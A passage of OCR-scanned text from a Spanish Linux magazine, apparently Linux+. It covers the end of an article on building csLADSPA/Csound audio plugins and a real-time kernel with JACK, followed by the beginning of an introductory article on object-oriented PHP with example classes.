sonido para sincronizar los eventos de
sonido.

*  Mezcla. Controla los dispositivos en las
tarjetas de sonido que encaminan las sefia-
les y controlan los niveles de sonido. Esta
construido sobre el interfaz de control.

Con un sistema de sonido robusto y con ca-
pacidad de mezcla funcionando, se podrian
satisfacer funcionalidades adicionales como
capacidad de trabajo en red, posibilidad de
envio de sonido entre aplicaciones o mayores
posibilidades de mezcla.

Plugins en Linux

LADSPA (http://iwww.ladspa.org) es el acroni-
mo de Linux Audio Developers Simple Plugin
APL Es un formato para plugins de audio. Los
plugins son piezas de software desarrolladas
por terceros, empotrables, integrables, en prog-
ramas de audio digital que sirven para aumen-
tar las funciones del anfitrion: filtrar o crear
efectos digitales como eco, chorus, phaser, flan-
ger, reverberacion, distorsion, etc. Este formato
fue disefiado originalmente por consenso entre
los miembros de la lista de correo de desarro-
lladores de audio de Linux (Linux Audio De-
velopers Mailing List) pero funciona en mu-
chas otras plataformas. Lo usan muchos pro-
gramas de audio que son software libre como
por ejemplo Audacity o Ardour.

Hay muchos formatos para plugins de au-
dio y la mayoria de los editores, sintetizadores
y otros paquetes de audio admiten varios de
ellos. El formato mas conocido sea quiza VST
(Virtual Studio Technology) de Steinberg. LA-
DSPA es inusual en el sentido de que intenta
ofrecer unicamente el M&ximo Comun Divisor

T T

Figura 3. Configuracién del Kernel de Linux
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de todos los formatos lo que reduce sus obje-
tivos. Se trata de un formato deliberadamente
simple y facil de utilizar. Las especificacio-
nes han cambiado muy poco a lo largo de los
afios asi que los problemas de incompatibili-
dad son raros. Evolucioné con DSSI (http:/
dssi.sourceforge.net/), especificacion que amp-
lia LADSPA y contempla instrumentos virtua-
les y LV2 (http://lv2plug.in), presentado a prin-
cipios de 2008, que esta llamada a ser el suce-
sor de LADSPA. LV2 corrige muchos de los
inconvenientes de LADSPA que detectaron,
por ejemplo, lo dificil e incomodo que es hacer
nuevas versiones de un determinado plugin
con compatibilidad retroactiva.

cSLADSPA (http://ear.ie/csSLADSPA.htm)
es un nuevo grupo de herramientas para el de-
sarrollo de plugins multiplataforma LADSPA
através del lenguaje Csound. csLADSPA evita

el de Linux para tiempo real con interrupcidn por

el uso de lenguajes de bajo nivel para el desa-
rrollo de plugins, lo que facilita enormemente
la labor de programacién. La meta de cs-
LADSPA es crear una arquitectura simple para
el desarrollo de plugins; uno de los principales
objetivos de la arquitectura LADSPA.

cSLADSPA al detalle

Las librerias de csLADSPA estan escritas en
C++ y utilizan la misma estructura que cual-
quier plugin LADSPA. El plugin declara una
estructura de datos, que incluye un puntero
a una instancia de la clase Csound, un array
para guardar valores de control y otro array
para guardar los nombres de los buses de con-
trol del software usado para el control de para-
metros. Los pasos en la ejecucion de un plugin
son los siguientes. Cuando se carga el plugin,
se analizan todos los archivos de Csound

‘;'chlw Editar Yer Ii,-m;ina
.config

Use the arrow keys to navigate this wll:hdn'u or press the hotkey of
the item you wish to select followed by the <SPACE BAR>. Press
<?> for additional information about this eption.

Linux Kermel v2.6.31-rcd-rtl Configuration
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(extension .csd) y se asignan a varias partes
de la estructura de descripcion de LADSPA.
Esto genera una serie de plugins basados en el
codigo fuente creado por el usuario.

Cuando un plugin es instanciado, csLA-
DSPA crea otra instancia de Csound y compi-
la el respectivo codigo fuente.

A continuacion se asignan las fuentes de
audio y de control a utilizar. La aplicacion lla-
ma a la funcion run del codigo. Cuando la apli-
cacion ejecuta el plugin, la funcion run proce-
sa los bloques de muestras. Esto accede a las
instancias de bajo nivel de Csound, buffers,
llamadas a Csound::Spin() y Csound::Spout
(entradas y salidas de muestras) para enca-
minar el audio. Por ultimo, hace una llamada
a Csound::PerformKsmps(), que hace el pro-
cesado de sefial. Para que los plugins en cs-
LADSPA funcionen correctamente, el usua-
rio final debe colocar la libreria csLADSPA
y todos los plugins Csound (definidos en ar-
chivos csd) en la carpeta hacia donde apunte
la variable de entorno LADSPA PATH. Esto
permite que el sistema detecte automatica-
mente todos los archivos Csound y los cargue
como plugins separados. Para que csLADS-
PA cargue los archivos de Csound ubicados en
LADSPA_PATH, es necesario especificar al-
guna informacion basica sobre el plugin: au-
tor, identificador, etc. Incluso se pueden espe-
cificar los controles, si fuera necesario, para
interactuar con el plugin desde el host. Todo
plugin csLADSPA debe de tener al menos lo
siguiente (ver Tabla 1).

Si ademas, se desea afadir controles a los
plugins, se deben utilizar las siguientes eti-
quetas (Tabla 2).

Configuracion

de Linux para Audio

Linux es un sistema operativo con un Kernel
por defecto pensado para servidores, lo cual lo
hace muy bueno para ejecutar muchas tareas
a la vez pero muy malo para ofrecer muchos
recursos en poco tiempo (con una latencia
minima) a una Unica tarea.

En las aplicaciones de audio la latencia
(retardo en el tiempo de respuesta del siste-
ma) es un grave problema porque puede lle-
gar a producir desajustes y artefactos oibles.
Los desarrolladores de audio en Linux, no sa-
tisfechos con este rendimiento, realizaron una
serie de parches al Kernel 2.4 para cambiar

L ARCR AL Corpesren Km IR 4B W | tarte |

Sl
=]

| ™ ®
=R 0 s
B e B Reoge MW LR

Figura 5. Configuracion de la frecuencia del temporizador del Kernel de Linux
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Listado 2. Aplicacion tipica ALSA
abre el dispositivo();

define los parametros_del_dispositivo();

while (ldone) {

/* una o ambas operaciones */
recibe_audio_desde_el_dispositivo();
envia_audio_al_dispositivo();

}

cierra el dispositivo

Listado 3. Descarga del Kernel

daniel@debian:~$ wget http://www.kernel.org/pub/linux/kernel/v2.6/
linux-2.6.30.tar.bz2

daniel@debian: ~$ wget http://www.kernel.org/pub/linux/kernel/v2.6/
testing/patch-2.6.31-rc4._bz2

daniel@debian: ~$ wget http://www.kernel.org/pub/linux/kernel/projects/
rt/patch-2.6.31-rc4-rtl.bz2

Listado 4. Instalacién de las aplicaciones y librerias

#aptitude install csound csladspa jackd gjackctl ardour-gtk

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias

Leyendo la informacién de estado... Hecho

Leyendo la informacién de estado extendido

Inicializando el estado de los paquetes... Hecho

Leyendo las descripciones de las tareas... Hecho

No se encontré ninguna versiéon candidata para ardour-gtk

No se encontré ninguna versiéon candidata para ardour-gtk

Se instalaran los siguiente paquetes NUEVOS:
csladspa csound csound-gui{a} csound-utils{a} jackd libcsound64-5.1{a}
1libfltkl.1{a} libloOldbl{a} libportmidiO{a} gjackctl

0 paquetes actualizados, 10 nuevos instalados, O para eliminar y 0 sin

actualizar.

Necesito descargar 3046kB de ficheros. Después de desempaquetar se

usaréan 7849kB.

¢Quiere continuar? [Y/n/?]

apropiadas para tiempo-real. Para ello, pri-
mero se ha de descargar el Kernel de base que
se desee utilizar (desde http:/Amww.kernel.org/)
y los correspondientes parches (Listado 3).
Para aplicar los parches al Kernel des-
comprima primero el Kernel base :

tar -xvzf archivo-del-kernel

Posteriormente y desde dentro del directorio
donde se haya descomprimido utilice :

bzip2 -dc /directorio-del-parche/
nombre-del-parche | patch -pl
--dry-run

A continuacién pruebe con --dry-run la aplica-
cién del parche, si no da ningtin error, vuelva a
ejecutar el comando omitiendo esta opcion.
Lo siguiente que ha de hacer es proceder
a la configuracion de los parametros del Ker-
nel. Para ello y desde dentro del directorio
donde se encuentran las fuentes del Kernel
descomprimidas, ejecute el comando:

#aptitude install ncurses5-dev
kernel-package build-essential 7/
para tener los compiladores en el
sistema

#make menuconfig

Al ejecutarse, aparece el menu de configura-
cion de la Figura 3, desde donde se pueden
cambiar los parametros del Kernel. Como
se puede observar aparece el nombre del
Kernel real-time lo que indica que los parches
aplicados han sido efectivos.

Para obtener un Kernel real-time se de-
ben modificar dos parametros principales:
Preemption Mode y Timer frequency.

La palabra preempt es dificil de traducir
al espafiol. Literalmente quiere decir adelan-

su comportamiento. Con la salida del Kernel

2.6 se prometi6 en un principio una latencia Hie Hatk Help

+ " 3 (=
| Add  channals Marw Cpen
Amplificr (Mona) | = | = --EEnnhh Wat/Ory
Gam

igual de baja como la del Kernel 2.4 pero sin
ningn tipo de parcheo, ya que la posibilidad
de ejecutar un Kernel en baja latencia estaba
contenida ya dentro de éste y se podia activar
en tiempo de compilacion. En las primeras
versiones del Kernel 2.6 (de la 2.6.0 hasta la
2.6.7) se descubri6 que el nuevo Kernel era || cutaff Frequensy (Hz)

aun peor que el antiguo en rendimiento. Fue-
Channel 1

ron necesarios grandes cambios en el Kernel || channal 2

aun asi, sigue habiendo parches para tiem- [
y £ P P Freeverb (Version 3) ~ x «|Enable Wet/Dry

po-real, e incluso una rama del Kernel dedica-
Fraaza Mods

da a esto. Para tener un sistema utilizable para
Ruurn Sue

audio, se debera, en primer lugar, recompi-
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Figura 8. Conexiones del servidor JACK

tarse a pero, (qué diferencias hay entre un
Kernel que utilice un modo de preemption
para tiempo real y otro que no? La diferencia
radica en la interrupcion por prioridades. Para
ilustrarlas se puede utilizar un ejemplo: pon-
gamos que existe un proceso A en ejecucion,
y aparece otro proceso B con una prioridad
mas alta (este supuesto se da con frecuencia
en entornos de produccion de audio). En un
Kernel normal, se tendria que esperar a que el
proceso A finalizara su ejecucion y solamente

Listado 5. Ejemplo de un amplificador Csound

<CSLADSPA>
Name=Gain Plugin
Maker=John Doe
UniquelD=1049
Copyright=None
ControlPort=Gain]gain
Range=0] 2
</CcsLADSPA>
<CsoundSynthesizer>
<CslInstruments>

sr = 44100

ksmps = 10

nchnls = 1

instr 1

kGain chnget "gain"
ain in

out ain*kGain

endin
</CslInstruments>
<CsScore>

il 0 3600

</CsScore>
</CsoundSynthesizer>

entonces podria tener lugar el proceso B. En
un Kernel preemptive no sucede asi, sino que
el proceso B se ejecutaria inmediatamente al
tener mayor prioridad y unicamente cuando
finalizara se completaria el proceso A.

Para un Kernel real-time es necesario
seleccionar Complete Preemption (Real-Ti-
me) como muestra la Figura 4. El segundo
parametro importante es la frecuencia del
temporizador como se muestra en la Figura 5.
Esta estd directamente relacionada con la la-
tencia minima que puede llegar a alcanzar el
sistema. Por defecto viene ajustada a 100 Hz
para servidores, pero para audio se requiere
al menos 1000 Hz, lo que permite alcanzar
valores de hasta 1 ms de latencia.

Por ultimo y de forma opcional se puede
configurar el tipo de procesador del sistema. Al
compilar el Kernel se genera codigo optimiza-
do. Esto es una ventaja si s6lo se desea ejecutar
este Kernel en una unica maquina pero no en
el caso de que se quiera distribuir. Una vez se
tiene toda la configuracion realizada, se com-
pila el Kernel. Para ello se deben introducir los
siguientes comandos desde el directorio don-
de se han descomprimido los fuentes (usual-
mente /ust/src/, pero no es necesario):

#make-kpkg clean
#make-kpkg --initrd kernel_image
kernel_headers

Si se dispone de un sistema multiprocesador
se puede hacer uso de los diferentes nucleos
del procesador utilizando la variable de en-
torno CONCURRENCY_ LEVEL, para ello,
antes de compilar se define mediante:

#export CONCURRENCY_LEVEL=n

Siendo n el nimero de nticleos. Este ntimero
se puede averiguar con:

www.lpmagazine.org
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:~$ cat /proc/cpuinfo | grep
processor

A pesar de todo, el proceso de compilacion
puede llevar bastante tiempo, incluso en siste-
mas potentes. Una vez compilado el Kernel se
afiade automaticamente a la lista de arranque de
GRUB. Se selecciona y el sistema arranca uti-
lizando ya el nuevo kernel real-time necesario
para el buen funcionamiento de las aplicacio-
nes de audio.

Si no hay ningun tipo de problema, se
procede a instalar las aplicaciones y librerias
(Listado 4).

Estas versiones son las que contiene el
repositorio que se haya configurado en el
sistema, si se quieren versiones mas recien-
tes se ha de bajar el codigo fuente de cada
aplicacion y compilarlo. Por ejemplo ardour
dispone de una versién mas reciente y actua-
lizada que se puede descargar desde http://
www.ardour.org/.

Listado 6. Ejemplo de un flanger Csound

<CsLADSPA>

Name=Flanger

Maker=John Doe

UniquelD=1054

Copyright=None
ControlPort=Flange Depth|depth
Range=0]1

ControlPort=Flange Rate]rate
Range=0]10

</CsLADSPA>
<CsoundSynthesizer>
<CslInstruments>

sr = 44100

ksmps = 10

nchnls = 1

instr 1

kdeltime chnget "depth"
krate chnget "rate"

ain in

al oscil kdeltime, 1, 1

ar vdelay3 ain, al+kdeltime, 1000
out ar+ain

endin

</Cslnstruments>

<CsScore>

f1 0 1024 10 1

il 0 3600

</CsScore>

</CsoundSynthesizer>
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Para poder ejecutar el servidor de audio
JACK sin privilegios de administrador, se
deben afiadir las siguientes lineas al archivo
/etc/security/limits.conf.

#gedit /etc/security/limits.conf
//ARade al archivo y guarda
@audio — rtprio 99

@audio — nice -19

@audio — memlock unlimited

También se debe afiadir el usuario al grupo
audio, en caso de que no lo estuviera, para
hacerlo, se utiliza el siguiente comando: #ad-
duser usuario audio

Una vez hecho esto se puede arrancar
y configurar el servidor de audio mediante el
front-end gjackcetl: :~$gjackctl

Algunos ejemplos

Para utilizar csLADSPA se deben afiadir las
etiquetas correspondientes al plugin progra-
mado en Csound. Para ilustrar su funciona-
miento usaremos dos ejemplos muy simples.
El primer ejemplo es el de un amplificador y el
segundo el de un flanger. La sintaxis de Csound,
por supuesto, no es competencia de este articu-

Listado 7. Carga de los plugins por jack-rack

daniel@debian:~$ jack-rack
SSE2 detected

attempting to load plugin index: O
CSLADSPA plugin found:
<CSLADSPA>

Name=MyReverb

Maker=Rory Walsh
UniquelD=2049

Copyright=None
ControlPort=ReverbTime|rtime
</csLADSPA>

PLUGIN LOADED

attempting to load plugin in-
dex: 1

CcSLADSPA plugin found:
<CcsLADSPA>

Name=Flanger

Maker=John Doe

UniquelD=1054

Copyright=None
ControlPort=Flange Depth]|depth
ControlPort=Flange Rate|rate
</csLADSPA>

PLUGIN LOADED

no more csLADSPA plugins

lo. Existe numerosa bibliografia y enlaces (un
libro altamente recomendable es The Csound
Book, por Richard Boulager, MIT Press). La
pagina oficial de Csound es http://www.
csounds.com/.

Resumiendo, slo para una mayor claridad
en el codigo, Csound tiene dos tipos de defi-
niciones: orquesta (CsInstruments) y partitura
(CsScore). La orquesta (en inglés orchestra), se
compone de los instrumentos que se utilizaran
en la composicion. En Csound hay que crear
los instrumentos, es decir, realizar una descrip-
cion completa de cémo son y como funcionan
(como suenan): esto puede ir desde un oscila-
dor que genere un tono puro (sinusoide) de una
frecuencia determinada (de sonido similar a un
diapason real) a un instrumento complejo cuyo
timbre varia estadisticamente.

Por otro lado esta la partitura (en inglés
score), que es el segundo objeto relevante. Esta
no es mas que una tabla o grafica donde se es-
pecifica el orden de actuacion de los instrumen-
tos a lo largo del tiempo. En este caso, donde se
trata de efectos sobre el audio en tiempo real la
partitura es irrelevante.

Observe que existe un control en la parte
de csLADSPA llamado Gain, que se comunica
internamente con la parte de Csound mediante
gain. En este caso simplemente se multiplica la
entrada por un rango que va entre 0y 2.

El Flanger es un efecto muy comun entre
los guitarristas. Se crea mezclando una sefial
con una version desfasada de si misma variante
en el tiempo. En Csound esto se puede hacer uti-
lizando el opcode vdelay. Para controlar el des-
fase se puede utilizar un oscilador de baja fre-
cuencia o LFO. Ademas, se necesitan dos con-
troles, en vez de uno como en el plugin anterior.
Por 1ltimo, para encaminar el audio a través
del plugin se puede utilizar JACK-Rack (http:
/ljack-rack.sourceforge.net), un programa libre
que actiia como un rack de efectos con plu-
gins csLADSPA bajo Linux utilizando la API
para audio de baja latencia JACK. El uso es
muy sencillo y se asemeja al de cualquier pe-
dal de guitarra. Si se carga desde el terminal pa-
ra ver la salida de debug, se vera algo parecido
a Listado 7.

Como se puede observar la aplicacion se
guia por las cabeceras csLADSPA. También es
posible cargar directamente cualquier plugin en
el programa.

Solamente falta gestionar la entrada y sali-
da de sonido. ;Cémo se hace? Mediante el ser-
vidor JACK y su interfaz grafica de control
gjacketl (http://gjackctl.sourceforge.net).

Para una prueba sencilla, se ha utilizado
un reproductor de mp3 libre, Audacious (http://
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audacious-media-player.org/), que conecta al
servidor JACK. Al ejecutarse, aparece en la lis-
ta de puertos de salida. Se conecta a la entrada
de JACK-Rack, y de ahi, a la salida del sistema
y... jLISTO! A partir de ahora todo lo que salga
del sistema estara insertado en la cadena de
plugins de efectos que se ha generado mediante
csLADSPA, y sera afectado en tiempo real
por los ajustes que se haga a los controles
definidos.

Conclusiones

Los plugins LADSPA son una arquitectura
emergente y multiplataforma, y su desarrollo
se ve simplificado por el uso de Csound. Ha
sido probado tanto en tiempo real como no
y su rendimiento en ordenadores modernos
es muy bueno. Se esta investigando su uso en
sistemas multicanal, asi que, en un futuro, se
podrian utilizar en sistemas 5.1.

LADSPA, csLADSPA y Csound son soft-
ware libre, con lo que su desarrollo no esta
limitado a una compaiiia, sino que cualquiera
puede coger su codigo y modificarlo. Con es-
tas herramientas libres s6lo queda esperar que,
por fin, la creacién musical en Linux empiece
a despegar y por qué no, genere también musi-
ca con el mismo espiritu de libertad. &

D
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PHP orientado
a objetos

Francisco Javier Carazo Gil
La popularidad adquirida por PHP como lenguaje para programacion de aplicaciones
web en el lado del servidor, es cuanto menos innegable. A pesar de la cantidad y calidad
de alternativas presentes a dia de hoy, no se prevé que ninguna tecnologia vaya

a superar claramente al resto. La evolucion de todas estas tecnologias, ha propiciado
que el uso del paradigma de la orientacion a objetos, sea ya mas que corriente en este
tipo de tecnologias del lado del servidor. Veamos cuéles son los fundamentos basicos
de la programacién orientada a objetos sobre PHP.

HP no naci6é como un lenguaje orientado a ob-

jetos. A pesar de ser una tecnologia web del la-

do del servidor, PHP siguiendo a C, era un len-

guaje claramente procedimental, a la vez que
interpretado. El paso del tiempo, ha obligado a sus crea-
dores a dotarlo de las herramientas necesarias para poder
llevar a cabo una programacion orientada a objetos, que
aunque no sea tan pura como pueda serlo por ejemplo
con JSP, si ofrece las soluciones minimas que muchos de
vosotros buscaréis a la hora de desarrollar.

En realidad, hasta la version 5 del lenguaje, lanzada
el 13 de julio de 2004, la orientacion a objetos no estaba
soportada oficialmente por el lenguaje y para poder hacer
uso de ella habia que emplear mddulos auxiliares como
PHP Data Objects.

Antes de continuar, os comento brevemente la historia
de PHP. En un comienzo, all& por el afio 1994, Rasmus
Lerdorf cre6 una serie de binarios para CGl en C, de cara
a poder mostrar su curriculum vitae y manejar ciertos da-
tos en su web. Su creador lo llamé en un comienzo "Per-
sonal Home Page Tools”. Pasado el tiempo, en 1997, dos
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programadores israelies del Technion, Zeev Suraski y An-
di Gutmans, reescribieron completamente el analizador
léxico-sintactico de la creacion de Lerdorf'y crearon la ba-
se de la version 3 de PHP. Hubo profundos cambios en la
estructura y forma del lenguaje y ésta es la que se usa a dia
de hoy, tras haberse modificado y ampliado en las sucesi-
vas versiones.

Actualmente se encuentra vigente la rama PHPS y en
breve, lo estar4 la sexta, PHP6. PHP4 fue descontinuado el
7 de agosto de 2007 con el lanzamiento de la versién 4.4.9,
la Gltima de dicha rama.

Software necesario

En este punto podria pararme a explicar la instalacion
de Apache, PHP y MySQL, que son las herramientas
que utilizaremos a continuacién. Puesto que es un tema
que ha aparecido en reiteradas ocasiones en esta revis-
ta y sobre el que hay abundante documentacion en la
red, creo que es mejor pasar a la explicacion del arti-
culo en si.



Aun asi, voy a daros un consejo a todos
los que uséis Synaptic como gestor de paque-
teria. Dirigios a “Marcar paquetes por tarea...”
y elegir “Servidor LAMP” o0 “LAMP Server”,
de esta manera tendréis todo lo necesario pa-
ra un servidor de desarrollo con Apache, PHP
y MySQL.

Aprovecho paracomentaros que las expli-
caciones y las configuraciones que voy a rea-
lizar de software y tecnologias, son didacticas
por lo que si alguien quiere ponerlas en uso
de forma profesional, debera pulir ciertos de-
talles para asegurar una seguridad suficiente
a un sistema en produccion.

Orientacion

aobjetos con PHP

Los lenguajes orientados a objetos son de
extrema utilidad a los desarrolladores de
todo tipo de software. Las caracteristicas
propias de la programacion del lado del ser-
vidor en la que PHP se encuadra, lo hacen
claramente preferible sino necesario, a por
ejemplo, utilizar simplemente programacion
estructurada cuando el proyecto adquiere
un tamafio.

PHP implementa mecanismos para ha-
cer uso de clases, objetos, instancias, pro-
piedades, métodos, constructores... en defi-
nitiva, los mecanismos tipicos de un len-
guaje orientado a objetos. A todos los que
sepais PHP y no conozcais estas caracteris-
ticas quizas os sea algo extrafio o incomodo
de utilizar en un comienzo, pero en proyec-
tos de un tamafio medio-grande, os aseguro
que los beneficios son mas que evidentes.

Clases, atributos

y operaciones

Simplificando mucho, una clase es la repre-
sentacion software de un elemento de la vida

Ejemplo orientacidn a abjetos con PHF para Linux+
Timai e vivhrima

= W1

& Hopdyy - Javd

n ket - Gy M|
® Clidgo gostal - 14004

Timai e whefrma

o Haglyy - Jup
® Agalided - Fitma Rasires
o Cidge potal - 1800

Figura 1. Resultado ejemplo

real. Si para un determinado problema, que es
el que vamos a utilizar, nos importan los usua-
rios, tendremos la clase “usuario”. La repre-
sentacion software seran los datos y el com-
portamiento del mismo que nos importe de
cara a nuestro sistema. Imaginemos un senci-
llo sistema de gestion de usuarios que alma-
cene los siguientes datos:

programacion
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Identificador: un entero que identifique
de manera univoca al usuario.
Nombre: cadena con el nombre del
usuario.

Apellidos: cadena con los apellidos del
usuario.

Cddigo postal: entero que almacena el
cddigo postal del domicilio del usuario.

Listado 1. Declaracion atributos clase Usuario
class Usuario{

private $id;

private $nombre;

private $apellidos;

private $codigoPostal;

Listado 2. Declaracién métodos de acceso a la clase Usuario

function getld(Q{

return $this->id;

function setld($id){
$this->id = $id;

function getNombre(){

return $this->nombre;

function setNombre($nombre){

$this->nombre = $nombre;

function getApellidos(){

return $this->apellidos;

function setApellidos($apellidos){

$this->apellidos = $apellidos;

function getCodigoPostal ){

return $this->codigoPostal;

function setCodigoPostal ($codigoPostal){

$this->codigoPostal = $codigoPostal;
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A=b-a a

b

Figura 2. Area rectangulo

Por lo tanto, tendra los atributos: identifica-
dor, nombre, apellidos y codigo postal. Esta
sera la parte estatica de la clase, la parte de in-
formacion que nos interesa almacenar del ele-
mento de la vida real: “el usuario”, en nues-
tro problema. La parte dinamica seran las
operaciones de la clase y que son necesarias
para la resolucion del problema. En este caso,
podrian ser:

e Insertar: introducir un nuevo usuario en
el sistema.

*  Modificar: modificar un usuario ya dado
de alta en el sistema.

e Consultar: consultar informacion refe-
rente a los usuarios. Concretaremos qué
informacion mas adelante.

Podemos implementar una funcion inde-
pendiente de la clase que inserte un regis-
tro, otra que lo modifique y otra que realice
las consultas. Es otra posibilidad, pero co-
mo estamos tratando con orientacion a ob-
jetos, vamos a definirlas dentro de la clase
y veremos qué ventajas conlleva esta deci-
sion.

Creacion de la clase
Lo primero que haremos sera declarar la
clase con sus atributos en PHP. La opera-
cioén es muy similar a la declaracion de un
struct en C o de otro elemento similar en
otro lenguaje. Comenzaremos definiendo
los atributos. Delante de cada uno indi-
camos el tipo de atributo del que se trata
(publico, privado o protegido). Si no indi-
camos nada, el atributo sera considerado
publico (ademas, es posible que nos lance
algun tipo de advertencia el intérprete de
PHP).

(Qué es eso de publico, privado y pro-
tegido?

e Publico (public): se puede acceder des-
de fuera de la clase.

e Privado (private): sélo se puede acceder
desde dentro de la clase.

e Protegido (protected): se puede accede
desde dentro de la clase y desde clases
herederas.

Como éste es un articulo de introduccion a la
programacion orientada a objetos con PHP no
voy a centrarme demasiado en definir estos
términos, ni otros relacionados como la he-
rencia o el poliformismo.

Pasemos a implementar ya la creacion de
nuestra clase usuario siguiendo el disefio pro-
puesto en el punto anterior (ver Listado 1).

Pero si son privados, ;cdmo accedemos
a los atributos? Pues creando métodos, funcio-

nes propias de la clase, publica que accedan
al atributo. ;Qué ventajas tenemos con esta
metodologia? Aunque en este caso el acceso
va a ser directo, en casos donde haya que rea-
lizar una comprobacion, nos aseguramos que
los objetos de la clase siempre tienen datos
vélidos, ademés de ocultar la implementacion
interna de la clase, creando una caja negra
mucho maés Util en grandes proyectos. Por
ejemplo, un método “setNIF” en el que antes

Listado 3. Declaracion del constructor
function __ construct($id, $nombre, $apellidos, $codigoPostal)
$this->id = $id;
$this->nombre = $nombre;
$this—>apellidos = $apellidos;
$this->codigoPostal = $codigoPostal;
Listado 4. index.php
<?php
include("'clases.php™);
$vector_usuarios = array(Q;
$tmp = new Usuario(l, "José"™, "Gémez Martinez'™, 14004);
array_push($vector_usuarios, $tmp);
$tmp = new Usuario(2, "Javier", "Pérez Garcia™, 28080);
array_push($vector_usuarios, $tmp);
$tmp = new Usuario(3, "Jorge", "Reina Ramirez'™, 18001);
array_push($vector_usuarios, $tmp);
echo ""<h2>Ejemplo orientaci&oacute;n
a objetos con PHP para Linux+</h2>";
foreach($vector_usuarios as $elemento_vector)
{
echo "'<div>
<h3>Usuarios sistema</h3>
<ul>
<li>ld. - " . $elemento_vector->getld() . "</li>
<li>Nombre - " . $elemento_vector->getNombre() -
U</1i>
<li>Apellidos - " . $elemento_vector->
getApellidos(Q) . "</li>
<li>C&oacute;digo postal - " .
$elemento_vector->getCodigoPostal() .
</li>
</ul>
</div>";
}
?>
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de igualar el atributo al valor enviado por el
usuario, se compruebe si la letra del NIF es
valida, y en caso de no serlo, no se almacene
el nuevo valor.

\Veamos la implementacion de esos méto-
dos dentro de la clase (Listado 2).

(Qué significa $this? $this es la varia-
ble que hace referencia a la instancia actual
del objeto. En todos los lenguajes con orien-
tacién a objetos existe una variable, que
hace referencia al objeto con el que se esta
trabajando. Si nunca habéis trabajado con
este paradigma, lo entenderéis mejor con
los ejemplos que desarrollaremos a conti-
nuacion.

El siguiente paso es la creacion del
constructor de la clase. Puesto que la clase
representa a objetos que se instancia y por
lo tanto se crean en memoria, tenemos que
tener alguna manera de crearlos para poder
trabajar con ellos. EI método para crearlos
es el constructor.

Constructor
El constructor en PHP se define como se
muestra a continuacion (Listado 2).

Como podéis apreciar, es una funcion,
con un nombre determinado “__construct”
que recibe los parametros necesarios para
la clase y los asigna a los atributos de la
clase.

Creando nuestra primera clase
Con todo lo que ya hemos explicado, po-
demos crear un ejemplo completo. Creare-
mos un par de objetos inicializandolos con
unos valores que introduciremos nosotros
y luego los mostraremos por pantalla. Para
representarlo haremos uso de HTML.

Si en lugar de incluir nosotros los datos
a mano, los incluyéramos a través de, por
ejemplo, una conexidn con una base de da-
tos MySQL, en la que la clase también apa-
reciera como una tabla, estariamos crean-
do las bases para una completa aplicacion
de usuarios con base de datos, que a la vez
de facil de implementar, seria facil de mo-
dificar, mantener y mejorar.

Crearemos los objetos llamando al
constructor, los insertaremos en un array
y al final, los mostraremos por pantalla
recorriendo el array de objetos que acaba-
mos de crear. Usaremos las funciones de
acceso a los atributos, ya que si intentamos
acceder directamente a ellos nos devolve-
ra el siguiente error al tratarse de atribu-
tos privados: “Fatal error: Cannot access
private property Usuario::$id” (ver Lista-

do 4). El resultado sera el que podéis ap-
reciar en la Figura 2. Habréis apreciado que
hemos llamado al fichero donde habiamos
definido la clase en el comienzo del articu-
lo, para poder hacer uso del mismo desde
este otro.

Sobrecarga

Otro concepto importante de la orientacion
a objetos es la sobrecarga de funciones. En
lenguajes que no permiten la sobrecarga
debemos definir dos métodos distintos (con
nombre distinto) para poder trabajar con dos
funciones que hacen lo mismo, pero reciben
distintos tipos de datos. La sobrecarga es
muy importante para el constructor ya que
normalmente tendremos distintas formas de
crear la clase.

En PHP no existen las sobrecargas como
tal. Sin embargo, existen mecanismos para
imitarla. Como ya he dicho, la sobrecarga
es muy importante en el caso del construc-
tor, asi que haremos el ejemplo siguiente,
sobrecargando esta funcion.

El mecanismo que seguimos para
imitar a la sobrecarga es usar los atributos
opcionales. Imaginad que queremos tener
dos constructores distintos:

e Usuario(id, nombre, apellidos, cédigo-
Postal): recibe los cuatro valores y los
inicializa.

e Usuario (nombre, apellidos, cdigoPos-
tal): recibe los tres valores, los inicializa
y el identificador también lo inicializa
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pero de forma aleatoria (o viendo cual
le corresponde si trabajaramos con una
base de datos).

La implementacion, seria tal como indica-
mos a continuacion (tenemos que poner el
parametro $id al final para poder jugar con
los atributos opcionales) como se muestra
en el Listado 5.

Al poner el identificador al final, igua-
lado a cero en la declaracidn, lo que le es-
tamos diciendo al compilador es que:

« Sise llama con tres argumentos, el va-
lor del identificador lo iguale a cero
y por lo tanto entre en la parte inferior
de la condicién, donde se calcula el
identificador aleatorio.

» Si se llama con cuatro argumentos, el
identificador tomara el valor que el
usuario le pase y por lo tanto funcio-
nard como lo ha hecho hasta ahora.

Veamos un par de ejemplos de invocacion
de este constructor:

$usuario_1 =

new Usuario(*'José"™, "Gomez
Martinez™, 14004);

$usuario_2 = new Usuario(José",
""Goémez Martinez'™, 14004, 10);

Ambas sentencias son validas, la primera
asigna un identificador aleatorio y la se-
gunda, asigna el identificador igual a 10.

Listado 5. Sobrecarga del constructor

if($id != 0)
{
$this->id = $id;

function __ construct($nombre, $apellidos, $codigoPostal, $id = 0){

$this->nombre = $nombre;
$this->apellidos =

$this->codigoPostal = $codigoPostal;

$this->codigoPostal = $codigoPostal;

¥

else

{
$this->id = rand(0,100);
$this->nombre = $nombre;
$this->apellidos =

h

$apellidos;

$apellidos;
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Herencia

Finalmente, antes de dar por terminado
este articulo introductorio a la orientacion
a objetos con PHP, vamos a comentar breve-
mente como se implementa la herencia en
PHP.

A través de la herencia, una clase hija
hereda de su padre los atributos y métodos,
de manera que si por ejemplo tenemos una
clase padre “Figura” con un atributo “area”,
y dos clases hijas: “Rectangulo” y “Trian-
gulo”. La palabra clave para definir la he-
rencia es: “extend” y la forma en que se de-
fine es:

* class Padre,
e class Hija extends Padre.

El constructor y los atributos, “base” y “altura”
estan definidos en la clase “Figura”. El mé-
todo “area” es propio de cada hija. Veamos la
implementacién y el resultado (Listado 6).

El resultado podéis verlo en la Figura 5.
Como podéis comprobar calcula correcta-
mente el area de cada figura. Es importante
destacar que:

* No hemos creado un constructor ni para
rectangulo ni para triangulo.

»  Los atributos también los ha heredado.

e EIl compilador ha sabido perfectamente
coémo calcular el area para cada tipo de
objeto, obteniendo los datos de unos
atributos compartidos por la clase
padre.

Imaginad la potencia de esta técnica en
aplicaciones mas complejas y la cantidad
de tiempo y problemas que podemos llegar
a ahorrar.

Utilizando clases de terceros,
encapsulamiento

Una de las grandes ventajas, ademas de
